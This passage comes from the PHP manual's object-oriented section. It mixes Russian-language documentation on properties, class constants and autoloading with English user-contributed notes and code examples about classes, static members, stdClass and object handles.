echo is_a($u, 'baR') ? "true" : "false"; // "true"
?>

But the case used when the class was defined is preserved as "canonical":
<?php
echo get_class($t); // "bAr"
?>

And, as always, "case-insensitivity" only applies to ASCII.
<?php
class пасха{}
class Пасха{} // valid
$p = new ПАСХА(); // Uncaught warning.
?>
kStarbe at gmail point com 30-Mar-2017 07:36
You start using :: in second example although the static concept has not been explained. This is not easy to discover when you are starting from the basics.
Doug 07-Oct-2010 07:29
What is the difference between  $this  and  self ?

Inside a class definition, $this refers to the current object, while  self  refers to the current class.

It is necessary to refer to a class element using  self ,
and refer to an object element using  $this .
Note also how an object variable must be preceded by a keyword in its definition.

The following example illustrates a few cases:

<?php
class Classy {

const       STAT = 'S' ; // no dollar sign for constants (they are always static)
static     $stat = 'Static' ;
public     $publ = 'Public' ;
private    $priv = 'Private' ;
protected  $prot = 'Protected' ;

function __construct( ){  }

public function showMe( ){
    print '<br> self::STAT: '  .  self::STAT ; // refer to a (static) constant like this
    print '<br> self::$stat: ' . self::$stat ; // static variable
    print '<br>$this->stat: '  . $this->stat ; // legal, but not what you might think: empty result
    print '<br>$this->publ: '  . $this->publ ; // refer to an object variable like this
    print '<br>' ;
}
}
$me = new Classy( ) ;
$me->showMe( ) ;

/* Produces this output:
self::STAT: S
self::$stat: Static
$this->stat:
$this->publ: Public
*/
?>
moty66 at gmail dot com 16-Aug-2009 07:59
I hope that this will help to understand how to work with static variables inside a class

<?php

class a {

    public static $foo = 'I am foo';
    public $bar = 'I am bar';

    public static function getFoo() { echo self::$foo;    }
    public static function setFoo() { self::$foo = 'I am a new foo'; }
    public function getBar() { echo $this->bar;    }
}

$ob = new a();
a::getFoo();     // output: I am foo
$ob->getFoo();    // output: I am foo
//a::getBar();     // fatal error: using $this not in object context
$ob->getBar();    // output: I am bar
                // If you keep $bar non static this will work
                // but if bar was static, then var_dump($this->bar) will output null

// unset($ob);
a::setFoo();    // The same effect as if you called $ob->setFoo(); because $foo is static
$ob = new a();     // This will have no effects on $foo
$ob->getFoo();    // output: I am a new foo

?>

Regards
Motaz Abuthiab
Notes on stdClass 09-Jul-2009 03:26
stdClass is the default PHP object. stdClass has no properties, methods or parent. It does not support magic methods, and implements no interfaces.

When you cast a scalar or array as Object, you get an instance of stdClass. You can use stdClass whenever you need a generic object instance.
<?php
// ways of creating stdClass instances
$x = new stdClass;
$y = (object) null;        // same as above
$z = (object) 'a';         // creates property 'scalar' = 'a'
$a = (object) array('property1' => 1, 'property2' => 'b');
?>

stdClass is NOT a base class! PHP classes do not automatically inherit from any class. All classes are standalone, unless they explicitly extend another class. PHP differs from many object-oriented languages in this respect.
<?php
// CTest does not derive from stdClass
class CTest {
    public $property1;
}
$t = new CTest;
var_dump($t instanceof stdClass);            // false
var_dump(is_subclass_of($t, 'stdClass'));    // false
echo get_class($t) . "\n";                   // 'CTest'
echo get_parent_class($t) . "\n";            // false (no parent)
?>

You cannot define a class named 'stdClass' in your code. That name is already used by the system. You can define a class named 'Object'.

You could define a class that extends stdClass, but you would get no benefit, as stdClass does nothing.

(tested on PHP 5.2.8)
Jeffrey 08-Oct-2008 03:49
A PHP Class can be used for several things, but at the most basic level, you'll use classes to "organize and deal with like-minded data". Here's what I mean by "organizing like-minded data". First, start with unorganized data.

<?php
$customer_name;
$item_name;
$item_price;
$customer_address;
$item_qty;
$item_total;
?>

Now to organize the data into PHP classes:

<?php
class Customer {
  $name;          // same as $customer_name
  $address;       // same as $customer_address
}

class Item {
  $name;          // same as $item_name
  $price;         // same as $item_price
  $qty;           // same as $item_qty
  $total;         // same as $item_total
}
?>

Now here's what I mean by "dealing" with the data. Note: The data is already organized, so that in itself makes writing new functions extremely easy.

<?php
class Customer {
  public $name, $address;                   // the data for this class...

  // function to deal with user-input / validation
  // function to build string for output
  // function to write -> database
  // function to  read <- database
  // etc, etc
}

class Item {
  public $name, $price, $qty, $total;        // the data for this class...

  // function to calculate total
  // function to format numbers
  // function to deal with user-input / validation
  // function to build string for output
  // function to write -> database
  // function to  read <- database
  // etc, etc
}
?>

Imagination that each function you write only calls the bits of data in that class. Some functions may access all the data, while other functions may only access one piece of data. If each function revolves around the data inside, then you have created a good class.
wbcarts at juno dot com 20-Aug-2008 06:11
CLASSES and OBJECTS that represent the "Ideal World"

Wouldn't it be great to get the lawn mowed by saying $son->mowLawn()? Assuming the function mowLawn() is defined, and you have a son that doesn't throw errors, the lawn will be mowed.

In the following example; let objects of type Line3D measure their own length in 3-dimensional space. Why should I or PHP have to provide another method from outside this class to calculate length, when the class itself holds all the neccessary data and has the education to make the calculation for itself?

<?php

/*
 * Point3D.php
 *
 * Represents one locaton or position in 3-dimensional space
 * using an (x, y, z) coordinate system.
 */
class Point3D
{
    public $x;
    public $y;
    public $z;                  // the x coordinate of this Point.

    /*
     * use the x and y variables inherited from Point.php.
     */
    public function __construct($xCoord=0, $yCoord=0, $zCoord=0)
    {
        $this->x = $xCoord;
    $this->y = $yCoord;
        $this->z = $zCoord;
    }

    /*
     * the (String) representation of this Point as "Point3D(x, y, z)".
     */
    public function __toString()
    {
        return 'Point3D(x=' . $this->x . ', y=' . $this->y . ', z=' . $this->z . ')';
    }
}

/*
 * Line3D.php
 *
 * Represents one Line in 3-dimensional space using two Point3D objects.
 */
class Line3D
{
    $start;
    $end;

    public function __construct($xCoord1=0, $yCoord1=0, $zCoord1=0, $xCoord2=1, $yCoord2=1, $zCoord2=1)
    {
        $this->start = new Point3D($xCoord1, $yCoord1, $zCoord1);
        $this->end = new Point3D($xCoord2, $yCoord2, $zCoord2);
    }

    /*
     * calculate the length of this Line in 3-dimensional space.
     */
    public function getLength()
    {
        return sqrt(
            pow($this->start->x - $this->end->x, 2) +
            pow($this->start->y - $this->end->y, 2) +
            pow($this->start->z - $this->end->z, 2)
        );
    }

    /*
     * The (String) representation of this Line as "Line3D[start, end, length]".
     */
    public function __toString()
    {
        return 'Line3D[start=' . $this->start .
            ', end=' . $this->end .
            ', length=' . $this->getLength() . ']';
    }
}

/*
 * create and display objects of type Line3D.
 */
echo '<p>' . (new Line3D()) . "</p>\n";
echo '<p>' . (new Line3D(0, 0, 0, 100, 100, 0)) . "</p>\n";
echo '<p>' . (new Line3D(0, 0, 0, 100, 100, 100)) . "</p>\n";

?>

  <--  The results look like this  -->

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=1, y=1, z=1), length=1.73205080757]

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=100, y=100, z=0), length=141.421356237]

Line3D[start=Point3D(x=0, y=0, z=0), end=Point3D(x=100, y=100, z=100), length=173.205080757]

My absolute favorite thing about OOP is that "good" objects keep themselves in check. I mean really, it's the exact same thing in reality... like, if you hire a plumber to fix your kitchen sink, wouldn't you expect him to figure out the best plan of attack? Wouldn't he dislike the fact that you want to control the whole job? Wouldn't you expect him to not give you additional problems? And for god's sake, it is too much to ask that he cleans up before he leaves?

I say, design your classes well, so they can do their jobs uninterrupted... who like bad news? And, if your classes and objects are well defined, educated, and have all the necessary data to work on (like the examples above do), you won't have to micro-manage the whole program from outside of the class. In other words... create an object, and LET IT RIP!
aaron at thatone dot com 15-Dec-2007 06:46
I was confused at first about object assignment, because it's not quite the same as normal assignment or assignment by reference. But I think I've figured out what's going on.

First, think of variables in PHP as data slots. Each one is a name that points to a data slot that can hold a value that is one of the basic data types: a number, a string, a boolean, etc. When you create a reference, you are making a second name that points at the same data slot. When you assign one variable to another, you are copying the contents of one data slot to another data slot.

Now, the trick is that object instances are not like the basic data types. They cannot be held in the data slots directly. Instead, an object's "handle" goes in the data slot. This is an identifier that points at one particular instance of an obect. So, the object handle, although not directly visible to the programmer, is one of the basic datatypes.

What makes this tricky is that when you take a variable which holds an object handle, and you assign it to another variable, that other variable gets a copy of the same object handle. This means that both variables can change the state of the same object instance. But they are not references, so if one of the variables is assigned a new value, it does not affect the other variable.

<?php
// Assignment of an object
Class Object{
   public $foo="bar";
};

$objectVar = new Object();
$reference =& $objectVar;
$assignment = $objectVar

//
// $objectVar --->+---------+
//                |(handle1)----+
// $reference --->+---------+   |
//                              |
//                +---------+   |
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="bar"
//
?>

$assignment has a different data slot from $objectVar, but its data slot holds a handle to the same object. This makes it behave in some ways like a reference. If you use the variable $objectVar to change the state of the Object instance, those changes also show up under $assignment, because it is pointing at that same Object instance.

<?php
$objectVar->foo = "qux";
print_r( $objectVar );
print_r( $reference );
print_r( $assignment );

//
// $objectVar --->+---------+
//                |(handle1)----+
// $reference --->+---------+   |
//                              |
//                +---------+   |
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="qux"
//
?>

But it is not exactly the same as a reference. If you null out $objectVar, you replace the handle in its data slot with NULL. This means that $reference, which points at the same data slot, will also be NULL. But $assignment, which is a different data slot, will still hold its copy of the handle to the Object instance, so it will not be NULL.

<?php
$objectVar = null;
print_r($objectVar);
print_r($reference);
print_r($assignment);

//
// $objectVar --->+---------+
//                |  NULL   |
// $reference --->+---------+
//
//                +---------+
// $assignment -->|(handle1)----+
//                +---------+   |
//                              |
//                              v
//                  Object(1):foo="qux"
?>


Свойства

Переменные, которые являются членами класса, называются свойства. Также их называют, используя другие термины, таких как поля, но в рамках этой документации, мы будем называть их свойствами. Они определяются с использованием хотя бы одного необязательного (за исключением readonly-свойств) модификатора (например, Область видимости, Ключевое слово static или, начиная с PHP 8.1.0, readonly), начиная с PHP 7.4, за которым следует необязательное объявление типа, за которым следует обычное объявление переменной. Это объявление может содержать инициализацию, но эта инициализация должна быть постоянным значением.

Замечание:

Устаревший способ объявления свойств класса — использование ключевого слова var вместо модификатора.

Замечание: Свойство, объявленное без модификатора Область видимости, будет объявлено как public.

В пределах методов класса доступ к нестатическим свойствам может быть получен с помощью -> (объектного оператора): $this->property (где property - имя свойства). Доступ к статическим свойствам осуществляется с помощью :: (двойного двоеточия): self::$property. Дополнительную информацию о различии статических и нестатических свойств смотрите в разделе Ключевое слово static.

Псевдопеременная $this доступна внутри любого метода класса, когда этот метод вызывается из контекста объекта. $this - значение вызывающего объекта.

Пример #1 Определение свойств

<?php
class SimpleClass
{
public $var1 = 'hello ' . 'world';
public $var2 = <<<EOD
hello world
EOD;
public $var3 = 1+2;
// неправильное определение свойств:
public $var4 = self::myStaticMethod();
public $var5 = $myVar;

// правильное определение свойств:
public $var6 = myConstant;
public $var7 = [true, false];

public $var8 = <<<'EOD'
hello world
EOD;

// Без модификатора области видимости:
static $var9;
readonly int $var10;

}
?>

Замечание:

Существуют различные функции для обработки классов и объектов. Смотрите справочник по функций для классов/объектов.

Объявления типов

Начиная с PHP 7.4.0, определения свойств могут включать Объявление типов, за исключением типа callable.

Пример #2 Пример использования типизированных свойств

<?php

class User
{
public int $id;
public ?string $name;

public function __construct(int $id, ?string $name)
{
$this->id = $id;
$this->name = $name;
}
}

$user = new User(1234, null);

var_dump($user->id);
var_dump($user->name);

?>

Результат выполнения данного примера:

int(1234)
NULL

Перед обращением к типизированному свойству у него должно быть задано значение, иначе будет выброшено исключение Error.

Пример #3 Обращение к свойствам

<?php

class Shape
{
public int $numberOfSides;
public string $name;

public function setNumberOfSides(int $numberOfSides): void
{
$this->numberOfSides = $numberOfSides;
}

public function setName(string $name): void
{
$this->name = $name;
}

public function getNumberOfSides(): int
{
return $this->numberOfSides;
}

public function getName(): string
{
return $this->name;
}
}

$triangle = new Shape();
$triangle->setName("triangle");
$triangle->setNumberofSides(3);
var_dump($triangle->getName());
var_dump($triangle->getNumberOfSides());

$circle = new Shape();
$circle->setName("circle");
var_dump($circle->getName());
var_dump($circle->getNumberOfSides());
?>

Результат выполнения данного примера:

string(8) "triangle"
int(3)
string(6) "circle"

Fatal error: Uncaught Error: Typed property Shape::$numberOfSides must not be accessed before initialization

Readonly-свойства

Начиная с PHP 8.1.0, свойство можно объявить с помощью модификатора readonly, который предотвращает изменение свойства после инициализации.

Пример #4 Примеры readonly-свойств

<?php
class Test {
public readonly string $prop;
public function __construct(string $prop) {
// Правильная инициализация.
$this->prop = $prop;
}
}
$test = new Test("foobar");
// Правильное чтение.
var_dump($test->prop); // string(6) "foobar"
// Неправильное переопределение. Не имеет значения, что присвоенное значение такое же.
$test->prop = "foobar";
// Ошибка: невозможно изменить readonly-свойство Test::$prop
?>

Замечание:

Модификатор readonly может применяться только к типизированным свойствам. Readonly-свойство без ограничений типа можно создать с помощью типа Mixed.

Замечание:

Статические readonly-свойства не поддерживаются.

Readonly-свойство можно инициализировать только один раз и только из области, в которой оно было объявлено. Любое другое присвоение или изменение свойства приведёт к исключению Error.

Пример #5 Неправильная инициализация readonly-свойств

<?php
class Test1 {
public readonly string $prop;
}
$test1 = new Test1;
// Неправильная инициализация за пределами закрытой области.
$test1->prop = "foobar";
// Ошибка: не удаётся инициализировать readonly-свойство Test1::$prop из глобальной области
?>

Замечание:

Указание явного значения по умолчанию для readonly-свойств не допускается, потому что readonly-свойство со значением по умолчанию, по сути, то же самое, что и константа и поэтому не особенно полезно.

<?php
class Test {
// Ошибка: у readonly-свойства Test::$prop не может быть значения по умолчанию
public readonly int $prop = 42;
}
?>

Замечание:

Readonly-свойства не могут быть уничтожены с помощью unset() после их инициализации. Однако можно уничтожить readonly-свойство до инициализации из области, в которой было объявлено свойство.

Модификации не обязательно являются простыми присвоениями, всё перечисленное ниже также приведёт к исключению Error:

<?php
class Test {
public function __construct(
public readonly int $i = 0,
public readonly array $ary = [],
) {}
}
$test = new Test;
$test->i += 1;
$test->i++;
++$test->i;
$test->ary[] = 1;
$test->ary[0][] = 1;
$ref =& $test->i;
$test->i =& $ref;
byRef($test->i);
foreach ($test as &$prop);
?>

Однако readonly-свойства не исключают внутренней изменчивости. Объекты (или ресурсы), хранящиеся в readonly-свойствах по-прежнему могут быть изменены внутри:

<?php
class Test {
public function __construct(public readonly object $obj) {}
}
$test = new Test(new stdClass);
// Правильное внутреннее изменение.
$test->obj->foo = 1;
// Неправильное переопределение.
$test->obj = new stdClass;
?>

Динамические свойства

При попытке присвоить несуществующее свойство объекту (object), PHP автоматически создаст соответствующее свойство. Это динамически созданное свойство будет доступно только для данного экземпляра класса.

Внимание

Динамические свойства устарели, начиная с PHP 8.2.0. Вместо этого рекомендуется объявлять свойство. Для работы с произвольными именами свойств, класс должен реализовать магические методы __get() и __set(). В крайнем случае, класс можно пометить атрибутом #[\AllowDynamicProperties].

User Contributed Notes

kchlin dot lxy at gmail dot com 20-Sep-2022 03:39
From PHP 8.1
It's easy to create DTO object with readonly properties and promoting constructor
which easy to pack into a compact string and covert back to a object.
<?php
# Conversion functions.
# Pack object into a compack JSON string.
function cvtObjectToJson( object $poObject ): string
{
  return json_encode( array_values( get_object_vars( $poObject )));
}

# Unpack object from a JSON string.
function cvtJsonToObject( string $psClass, string $psString ): object
{
  return new $psClass( ...json_decode( $psString ));
}

# DTO example class.
final class exampleDto
{
  final public function __construct(
    public readonly int    $piInt,
    public readonly ?int   $pnNull,
    public readonly float  $pfFloat,
    public readonly string $psString,
    public readonly array  $paArray,
    public readonly object $poObject,
  ){}
}

# Example with export only public properties of given object.
$exampleDtoO = new exampleDto( 1, null, .3, 'string 4', [], new stdClass() );
$stringJson  = cvtObjectToJson( $exampleDtoO );// [1,null,0.3,"string 4",[],{}]
$objectO     = cvtJsonToObject( exampleDto::class, $stringJson );

# Check and var_dump variables.
echo $exampleDtoO == $objectO
  ? 'Objects equal, but not identical.'.    PHP_EOL
  : 'Objects not equal neither identical.'. PHP_EOL
;
var_dump($exampleDtoO, $stringJson, $objectO);

# Output
/*
  Objects equal, but not identical
  object(exampleDto)#6 (6) {
  ["piInt"]=>
    int(1)
    ["pnNull"]=>
    NULL
    ["pfFloat"]=>
    float(0.3)
    ["psString"]=>
    string(8) "string 4"
  ["paArray"]=>
    array(0) {
  }
    ["poObject"]=>
    object(stdClass)#7 (0) {
    }
  }
  string(29) "[1,null,0.3,"string 4",[],{}]"
  object(exampleDto)#8 (6) {
  ["piInt"]=>
    int(1)
    ["pnNull"]=>
    NULL
    ["pfFloat"]=>
    float(0.3)
    ["psString"]=>
    string(8) "string 4"
  ["paArray"]=>
    array(0) {
  }
    ["poObject"]=>
    object(stdClass)#9 (0) {
    }
  }
*/
anca at techliminal dot com 08-Jul-2015 11:08
You can access property names with dashes in them (for example, because you converted an XML file to an object) in the following way:

<?php
$ref = new StdClass();
$ref->{'ref-type'} = 'Journal Article';
var_dump($ref);
?>
Anonymous 17-Apr-2012 09:16
In case this saves anyone any time, I spent ages working out why the following didn't work:

class MyClass
{
    private $foo = FALSE;

    public function __construct()
    {
        $this->$foo = TRUE;

        echo($this->$foo);
    }
}

$bar = new MyClass();

giving "Fatal error: Cannot access empty property in ...test_class.php on line 8"

The subtle change of removing the $ before accesses of $foo fixes this:

class MyClass
{
    private $foo = FALSE;

    public function __construct()
    {
        $this->foo = TRUE;

        echo($this->foo);
    }
}

$bar = new MyClass();

I guess because it's treating $foo like a variable in the first example, so trying to call $this->FALSE (or something along those lines) which makes no sense. It's obvious once you've realised, but there aren't any examples of accessing on this page that show that.
Anonymous 11-Mar-2011 03:18
$this can be cast to array.  But when doing so, it prefixes the property names/new array keys with certain data depending on the property classification.  Public property names are not changed.  Protected properties are prefixed with a space-padded '*'.  Private properties are prefixed with the space-padded class name...

<?php

class test
{
    public $var1 = 1;
    protected $var2 = 2;
    private $var3 = 3;
    static $var4 = 4;

    public function toArray()
    {
        return (array) $this;
    }
}

$t = new test;
print_r($t->toArray());

/* outputs:

Array
(
    [var1] => 1
    [ * var2] => 2
    [ test var3] => 3
)

*/
?>

This is documented behavior when converting any object to an array (see </language.types.array.php#language.types.array.casting> PHP manual page).  All properties regardless of visibility will be shown when casting an object to array (with exceptions of a few built-in objects).

To get an array with all property names unaltered, use the 'get_object_vars($this)' function in any method within class scope to retrieve an array of all properties regardless of external visibility, or 'get_object_vars($object)' outside class scope to retrieve an array of only public properties (see: </function.get-object-vars.php> PHP manual page).
zzzzBov 04-Jun-2010 09:21
Do not confuse php's version of properties with properties in other languages (C++ for example).  In php, properties are the same as attributes, simple variables without functionality.  They should be called attributes, not properties.

Properties have implicit accessor and mutator functionality.  I've created an abstract class that allows implicit property functionality.

<?php

abstract class PropertyObject
{
  public function __get($name)
  {
    if (method_exists($this, ($method = 'get_'.$name)))
    {
      return $this->$method();
    }
    else return;
  }

  public function __isset($name)
  {
    if (method_exists($this, ($method = 'isset_'.$name)))
    {
      return $this->$method();
    }
    else return;
  }

  public function __set($name, $value)
  {
    if (method_exists($this, ($method = 'set_'.$name)))
    {
      $this->$method($value);
    }
  }

  public function __unset($name)
  {
    if (method_exists($this, ($method = 'unset_'.$name)))
    {
      $this->$method();
    }
  }
}

?>

after extending this class, you can create accessors and mutators that will be called automagically, using php's magic methods, when the corresponding property is accessed.


Константы классов

Константы также могут быть объявлены в пределах одного класса. Область видимости констант по умолчанию public.

Замечание:

Константы класса могут быть переопределены дочерним классом. Начиная с PHP 8.1.0, константы класса не могут быть переопределены дочерним классом, если он определён как окончательный (final).

Интерфейсы также могут содержать константы. За примерами обращайтесь к разделу об интерфейсах.

К классу можно обратиться с помощью переменной. Значение переменной не может быть ключевым словом (например, self, parent и static).

Обратите внимание, что константы класса задаются один раз для всего класса, а не отдельно для каждого созданного объекта этого класса.

Пример #1 Объявление и использование константы

<?php
class MyClass
{
const CONSTANT = 'значение константы';

function showConstant() {
echo self::CONSTANT . "\n";
}
}

echo MyClass::CONSTANT . "\n";

$classname = "MyClass";
echo $classname::CONSTANT . "\n";

$class = new MyClass();
$class->showConstant();

echo $class::CONSTANT."\n";
?>

Специальная константа ::class, которой на этапе компиляции присваивается полное имя класса, полезна при использовании с классами, использующими пространства имён.

Пример #2 Пример использования ::class с пространством имён

<?php
namespace foo {
class bar {
}

echo bar::class; // foo\bar
}
?>

Пример #3 Пример констант, заданных выражением

<?php
const ONE = 1;

class foo {
const TWO = ONE * 2;
const THREE = ONE + self::TWO;
const SENTENCE = 'Значение константы THREE - ' . self::THREE;
}
?>

Пример #4 Модификаторы видимости констант класса, начиная с PHP 7.1.0

<?php
class Foo {
public const BAR = 'bar';
private const BAZ = 'baz';
}
echo Foo::BAR, PHP_EOL;
echo Foo::BAZ, PHP_EOL;
?>

Результат выполнения данного примера в PHP 7.1:

bar

Fatal error: Uncaught Error: Cannot access private const Foo::BAZ in ...

Замечание:

Начиная с PHP 7.1.0 для констант класса можно использовать модификаторы области видимости.

User Contributed Notes

powtac at gmx dot de 05-May-2023 02:02
Since it it is not mentioned in the description the following types can be set as a class constant: string, array, int, bool and probably float. But not objects.

<?php

class Test {
    const arr  = array();
    const string = 'string';
    const int = 99;
    const bool = true;
}

var_dump(
    (new Test())::arr,
    (new Test())::string,
    (new Test())::int,
    (new Test())::bool
);

/* ouput for PHP 7.0.0+:

array(0) {
}
string(6) "string"
int(99)
bool(true)
David Spector 16-Aug-2018 01:55
The usual comma-separated syntax can be used to declare several constants:

class STATE
    {
    const INIT=0, NAME_SEEN=1, ADDR_SEEN=2;
    }

This shows the declaration of a set of enumeration literals suitable for use in a finite state machine loop. Reference such an enum by using syntax such as "STATE::INIT". Its actual type in this case will be integer.
Nimja 06-Sep-2017 01:07
Note that this magic constant DOES NOT load classes. And in fact can work on classes that do not exist.

This means it does not mess with auto-loading.

<?php
    $className = \Foo\Bar::class;
    var_dump($className);
    var_dump(class_exists($className, false));
?>

Will output:

    string(7) "Foo\Bar"
    bool(false)
jimmmy dot chief at gmail dot com 25-Oct-2016 02:57
Hi, i would like to point out difference between self::CONST and $this::CONST with extended class.
Let us have class a:

<?php
class a {
    const CONST_INT = 10;

    public function getSelf(){
        return self::CONST_INT;
    }

    public function getThis(){
        return $this::CONST_INT;
    }
}
?>

And class b (which extends a)

<?php
class b extends a {
    const CONST_INT = 20;

    public function getSelf(){
        return parent::getSelf();
    }

    public function getThis(){
        return parent::getThis();
    }
}
?>

Both classes have same named constant CONST_INT.
When child call method in parent class, there is different output between self and $this usage.

<?php
$b = new b();

print_r($b->getSelf());     //10
print_r($b->getThis());     //20

?>
nepomuk at nepda dot de 15-Mar-2016 08:50
[Editor's note: that is already possible as of PHP 5.6.0.]

Note, as of PHP7 it is possible to define class constants with an array.

<?php
class MyClass
{
    const ABC = array('A', 'B', 'C');
    const A = '1';
    const B = '2';
    const C = '3';
    const NUMBERS = array(
        self::A,
        self::B,
        self::C,
    );
}
var_dump(MyClass::ABC);
var_dump(MyClass::NUMBERS);

// Result:
/*
array(3) {
    [0]=>
  string(1) "A"
    [1]=>
  string(1) "B"
    [2]=>
  string(1) "C"
}
array(3) {
    [0]=>
  string(1) "1"
    [1]=>
  string(1) "2"
    [2]=>
  string(1) "3"
}
*/
?>
Paul 12-May-2015 10:44
Square or curly bracket syntax can normally be used to access a single byte (character) within a string. For example: $mystring[5]. However, please note that (for some reason) this syntax is not accepted for string class constants (at least, not in PHP 5.5.12).
For example, the following code gives "PHP Parse error:  syntax error, unexpected '[' in php shell code on line 6".
<?php
class SomeClass
{
  const SOME_STRING = '0123456790';
  public static function ATest()
  {
    return self::SOME_STRING[0];
  }
}
?>
It looks like you have to use a variable/class member instead.
kuzawinski dot marcin at gmail dot com 11-Nov-2014 01:27
As of PHP 5.6 you can finally define constant using math expressions, like this one:

<?php

class MyTimer {
    const SEC_PER_DAY = 60 * 60 * 24;
}

?>

Me happy :)
Xiong Chiamiov 10-Mar-2014 11:36
const can also be used directly in namespaces, a feature never explicitly stated in the documentation.

<?php
# foo.php
namespace Foo;

const BAR = 1;
?>

<?php
# bar.php
require 'foo.php';

var_dump(Foo\BAR); // => int(1)
?>
delete dot this dot and dot dots dot gt at kani dot hu 16-Jan-2014 11:05
I think it's useful if we draw some attention to late static binding here:
<?php
class A {
    const MY_CONST = false;
    public function my_const_self() {
        return self::MY_CONST;
    }
    public function my_const_static() {
        return static::MY_CONST;
    }
}

class B extends A {
   const MY_CONST = true;
}

$b = new B();
echo $b->my_const_self ? 'yes' : 'no'; // output: no
echo $b->my_const_static ? 'yes' : 'no'; // output: yes
?>
tmp dot 4 dot longoria at gmail dot com 04-Jun-2011 01:52
it's possible to declare constant in base class, and override it in child, and access to correct value of the const from the static method is possible by 'get_called_class' method:
<?php
abstract class dbObject
{
    const TABLE_NAME='undefined';

    public static function GetAll()
    {
        $c = get_called_class();
        return "SELECT * FROM `".$c::TABLE_NAME."`";
    }
}

class dbPerson extends dbObject
{
    const TABLE_NAME='persons';
}

class dbAdmin extends dbPerson
{
    const TABLE_NAME='admins';
}

echo dbPerson::GetAll()."<br>";//output: "SELECT * FROM `persons`"
echo dbAdmin::GetAll()."<br>";//output: "SELECT * FROM `admins`"

?>
anonymous 27-Sep-2010 06:32
Most people miss the point in declaring constants and confuse then things by trying to declare things like functions or arrays as constants. What happens next is to try things that are more complicated then necessary and sometimes lead to bad coding practices. Let me explain...

A constant is a name for a value (but it's NOT a variable), that usually will be replaced in the code while it gets COMPILED and NOT at runtime.

So returned values from functions can't be used, because they will return a value only at runtime.

Arrays can't be used, because they are data structures that exist at runtime.

One main purpose of declaring a constant is usually using a value in your code, that you can replace easily in one place without looking for all the occurences. Another is, to avoid mistakes.

Think about some examples written by some before me:

1. const MY_ARR = "return array(\"A\", \"B\", \"C\", \"D\");";
It was said, this would declare an array that can be used with eval. WRONG! This is just a string as constant, NOT an array. Does it make sense if it would be possible to declare an array as constant? Probably not. Instead declare the values of the array as constants and make an array variable.

2. const magic_quotes = (bool)get_magic_quotes_gpc();
This can't work, of course. And it doesn't make sense either. The function already returns the value, there is no purpose in declaring a constant for the same thing.

3. Someone spoke about "dynamic" assignments to constants. What? There are no dynamic assignments to constants, runtime assignments work _only_ with variables. Let's take the proposed example:

<?php
/**
 * Constants that deal only with the database
 */
class DbConstant extends aClassConstant {
    protected $host = 'localhost';
    protected $user = 'user';
    protected $password = 'pass';
    protected $database = 'db';
    protected $time;
    function __construct() {
        $this->time = time() + 1; // dynamic assignment
    }
}
?>

Those aren't constants, those are properties of the class. Something like "this->time = time()" would even totally defy the purpose of a constant. Constants are supposed to be just that, constant values, on every execution. They are not supposed to change every time a script runs or a class is instantiated.

Conclusion: Don't try to reinvent constants as variables. If constants don't work, just use variables. Then you don't need to reinvent methods to achieve things for what is already there.
wbcarts at juno dot com 12-Sep-2008 12:12
Use CONST to set UPPER and LOWER LIMITS

If you have code that accepts user input or you just need to make sure input is acceptable, you can use constants to set upper and lower limits. Note: a static function that enforces your limits is highly recommended... sniff the clamp() function below for a taste.

<?php

class Dimension
{
  const MIN = 0, MAX = 800;

  public $width, $height;

  public function __construct($w = 0, $h = 0){
    $this->width  = self::clamp($w);
    $this->height = self::clamp($h);
  }

  public function __toString(){
    return "Dimension [width=$this->width, height=$this->height]";
  }

  protected static function clamp($value){
    if($value < self::MIN) $value = self::MIN;
    if($value > self::MAX) $value = self::MAX;
    return $value;
  }
}

echo (new Dimension()) . '<br>';
echo (new Dimension(1500, 97)) . '<br>';
echo (new Dimension(14, -20)) . '<br>';
echo (new Dimension(240, 80)) . '<br>';

?>

- - - - - - - -
 Dimension [width=0, height=0] - default size
 Dimension [width=800, height=97] - width has been clamped to MAX
 Dimension [width=14, height=0] - height has been clamped to MIN
 Dimension [width=240, height=80] - width and height unchanged
- - - - - - - -

Setting upper and lower limits on your classes also help your objects make sense. For example, it is not possible for the width or height of a Dimension to be negative. It is up to you to keep phoney input from corrupting your objects, and to avoid potential errors and exceptions in other parts of your code.


Автоматическая загрузка классов

Большинство разработчиков объектно-ориентированных приложений используют такое соглашение именования файлов, в котором каждый класс хранится в отдельно созданном для него файле. Одна из самых больших неприятностей - необходимость писать в начале каждого скрипта длинный список подгружаемых файлов (по одному для каждого класса).

Функция spl_autoload_register() позволяет зарегистрировать необходимое количество автозагрузчиков для автоматической загрузки классов и интерфейсов, если они в настоящее время не определены. Регистрируя автозагрузчики, PHP получает последний шанс для интерпретатора загрузить класс прежде, чем он закончит выполнение скрипта с ошибкой.

Любая конструкция, подобная классу может быть автоматически загружена таким же образом, включая классы, интерфейсы, трейты и перечисления.

Предостережение

До PHP 8.0.0 можно было использовать __autoload() для автозагрузки классов и интерфейсов. Однако это менее гибкая альтернатива spl_autoload_register(), функция __autoload() объявлена устаревшей в PHP 7.2.0 и удалена в PHP 8.0.0.

Замечание:

Функция spl_autoload_register() может быть вызвана несколько раз, чтобы зарегистрировать несколько автозагрузчиков. Выброс исключения из функции автозагрузки, однако, прервёт этот процесс и не позволит запускать дальнейшие функции автозагрузки. По этой причине выбрасывать исключения из функции автозагрузки настоятельно не рекомендуется.

Пример #1 Пример автоматической загрузки

В этом примере функция пытается загрузить классы MyClass1 и MyClass2 из файлов MyClass1.php и MyClass2.php соответственно.

<?php
spl_autoload_register(function ($class_name) {
include $class_name . '.php';
});

$obj = new MyClass1();
$obj2 = new MyClass2();
?>

Пример #2 Ещё один пример автоматической загрузки

В этом примере представлена попытка загрузки интерфейса ITest.

<?php

spl_autoload_register(function ($name) {
var_dump($name);
});

class Foo implements ITest {
}

/*
string(5) "ITest"

Fatal error: Interface 'ITest' not found in ...
*/
?>

Смотрите также

  • unserialize()
  • unserialize_callback_func
  • unserialize_max_depth
  • spl_autoload_register()
  • spl_autoload()
  • __autoload()

User Contributed Notes

info at atomosmaestoso dot com 18-Jun-2022 11:57
Autoloading Classes with  spl_autoload_register() or spl_autoload() is the best and most modern way to securely code for API integration.

It restricts the various attacks that can be faced by using a "polyfill" or framework that is subject to data injection. Low level attacks, polyfill and framework vulnerabilities are some exploitations limited in using the core functionalities of your host programming language.

Your loop-holes and target endpoints are vastly removed to the level of programming experience of the developer - in not exposing the threats espoused to your programming language and its security protocols.

